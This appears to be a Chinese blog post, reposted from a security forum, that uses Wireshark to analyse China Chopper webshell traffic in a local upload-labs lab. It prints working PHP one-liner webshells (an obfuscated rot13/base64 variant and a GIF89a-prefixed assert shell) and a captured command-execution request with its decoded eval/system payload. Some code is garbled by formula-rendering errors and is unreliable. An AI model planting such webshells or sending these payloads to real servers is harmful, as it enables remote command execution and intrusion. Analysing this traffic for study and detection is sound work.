wireshark分析菜刀。其实并没有看懂。。。。。

wireshark简介

Wireshark(前称Ethereal)是一个网络封包分析软件。网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料。

emmm其实就是抓包

Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。网络封包分析软件的功能可想像成 “电工技师使用电表来量测电流、电压、电阻” 的工作 - 只是将场景移植到网络上,并将电线替换成网络线。在GNUGPL通用许可证的保障范围底下,使用者可以以免费的代价取得软件与其源代码,并拥有针对其源代码修改及客制化的权利。Ethereal是目前全世界最广泛的网络封包分析软件之一。

网友提供的一句话木马如下:
if($_REQUEST[hash]==“XXXXXXXXXXXXXXXXXXX”){
其中XXXXX是一个32位长度的HASH字符串。
c 1 = b a s e 6 4 d e c o d e ( s t r r o t 13 ( c_1 = base64_decode(str_rot13( c1=base64decode(strrot13(_REQUEST[a]));

c 2 = b a s e 6 4 d e c o d e ( s t r r o t 13 ( c_2 = base64_decode(str_rot13( c2=base64decode(strrot13(_REQUEST[b]));

c 1 ( c_1( c1(c_2);

?>
简单分析一句话木马:

一句话马接受3个参数(hash、c_1、c_2).
c_1、c_2两个参数经过了str_rot13、和base64_decode解码。
c 1 ( c_1( c1(c_2)为执行部分, c 1 传 递 一 个 具 备 执 行 命 令 功 能 的 函 数 名 , c_1传递一个具备执行命令功能的函数名, c1c_2传递一个命令字符串。

base64编码我之前就了解过,所以看到外层的base64_decode我并不陌生,str_rot13这个函数我第一次见到,百度搜索了一下了解到是一个对英文字母进行类似凯撒密码操作的函数,偏移长度13,刚刚好配合英文字母一共26个的特性,编码和解码都是使用同一个函数。

脚本执行实践:
我起初只了解过eval函数具备命令执行的功能,尝试将@eval作为c_1解码后的值传入,尝试执行一个echo语句看看反应,没想到报错eval函数未定义。上网上尝试找找相关文章,没有什么进展,我又试了下将printf作为c_1解码后的值传入,代码成功执行,虽然我不了解具体原因但是可以看得出有些函数可以执行,有些则不行。

我在网上查找了到了一篇网友整理出的PHP代码执行函数,用其中的assert作为c_1解码后的值测试效果,虽然由于c_2的值不能作为assert函数的参数,但看得出逻辑上已经OK了,我再尝试对c_2的值进行编辑。

这里找到了网上的一些资料,确认了效果之后尝试使用菜刀进行连接(失败了)
菜刀连接尝试:
按菜刀的逻辑应该是将c_2作为密码连接该shell,但是看得出来没这么简单,我没有找到关于菜刀是否支持对密码的参数值进行编码后传输的文章,也没有在界面上找到类似功能,所以想着通过burpsuite作为代理,对c_2参数进行自动化的encode传输,但是失败了,原因是自己太菜,没抓到请求,脑回路里还是有一些代理抓请求的思路的,但是当时被这个研究过程吸引住了,奇怪的就想着一定要抓到菜刀的包,最后就放弃了原有的问题,把思路放到新的方向上使用wireshark抓包分析菜刀的请求。
wireshark抓包过程:

本地搭了个环境,随便写了个一句话shell。
尝试使用http && ip.dst_host = 192.168.XXX.XXX(本机IP)过滤,发现效果不太理想,很多包看不过来。
用其他机器再搭个环境,用同样的过滤就没那么乱了,抓到了一些TCP包,这部分没有去分析,我主要是想看HTTP部分。
打开菜刀虚拟终端功能,执行了cmd命令,将wireshark的包导出,整理。

菜刀执行whoami命令http请求与响应:
一句话木马内容如下:
GIF89a

<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[cc]); ?>

请求包头部如下:
POST /upload-labs/upload/1juhua.php HTTP/1.1

X-Forwarded-For: 199.1.88.29

Referer:http://192.168.107.70

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0

Host: 192.168.107.70

Content-Length: 546

Cache-Control: no-cache
请求包参数如下:
cc=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyAneyRzfSciOiIvYyB7JHN9Ijskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIpOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgIkQ6XHBocFN0dWR5XFdXV1x1cGxvYWQtbGFic1x1cGxvYWRcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0%3D
响应包信息如下:
GIF89a
Notice: Use of undefined constant cc - assumed ‘cc’ in D:\phpStudy\WWW\upload-labs\upload\1juhua.php on line 2
->|desktop-ntiou04\dong

[S]

D:\phpStudy\WWW\upload-labs\upload

[E]

|<-
菜刀执行whoami命令请求分析:
1.首先先将参数全部拆分开

cc是shell的密码同时也是http请求的参数名,参数值是将z0的值解码后通过@eval函数执行。
cc=@eval(base64_decode($_POST[z0]));
z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyAneyRzfSciOiIvYyB7JHN9Ijskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIpOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D

z1=Y21k

z2=Y2QgL2QgIkQ6XHBocFN0dWR5XFdXV1x1cGxvYWQtbGFic1x1cGxvYWRcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0%3D
2.再将z0、z1、z2的值base64_decode解码后查看详细内容:
z0:

@ini_set(“display_errors”,“0”);

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo("->|");

p = b a s e 6 4 d e c o d e ( p=base64_decode( p=base64decode(_POST[“z1”]);

s = b a s e 6 4 d e c o d e ( s=base64_decode( s=base64decode(_POST[“z2”]);

d = d i r n a m e ( d=dirname( d=dirname(_SERVER[“SCRIPT_FILENAME”]);

c = s u b s t r ( c=substr( c=substr(d,0,1)=="/"?"-c '{KaTeX parse error: Expected 'EOF', got '}' at position 2: s}̲'":"/c {s}";

KaTeX parse error: Expected '}', got 'EOF' at end of input: r="{p} {$c}";

@system($r." 2>&1");

echo("|<-");

die();

z1:

cmd

z2:

cd /d “D:\phpStudy\WWW\upload-labs\upload”&whoami&echo [S]&cd&echo [E]
3.分析函数执行过程:

3.1将相关调试信息关闭,输出->作为格式化符号,将z1、z2的值解码后保存到 p 、 p、 ps中。

3.2获取shell文件的绝对路径保存到$d中。

3.3通过判断绝对路径的第一位区分Linux和Windows系统,执行-c或/c+ s 存 储 到 s存储到 sc中。

3.4现在$c的值是‘/c cd /d “D:\phpStudy\WWW\upload-labs\upload”&whoami&echo [S]&cd&echo [E]‘。

3.5使用@system函数执行cmd+$c并将结果重定向,最后输出|<-作为格式化符号。

转载自 https://bbs.ichunqiu.com/thread-42598-1-1.html?from=aqzx7

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值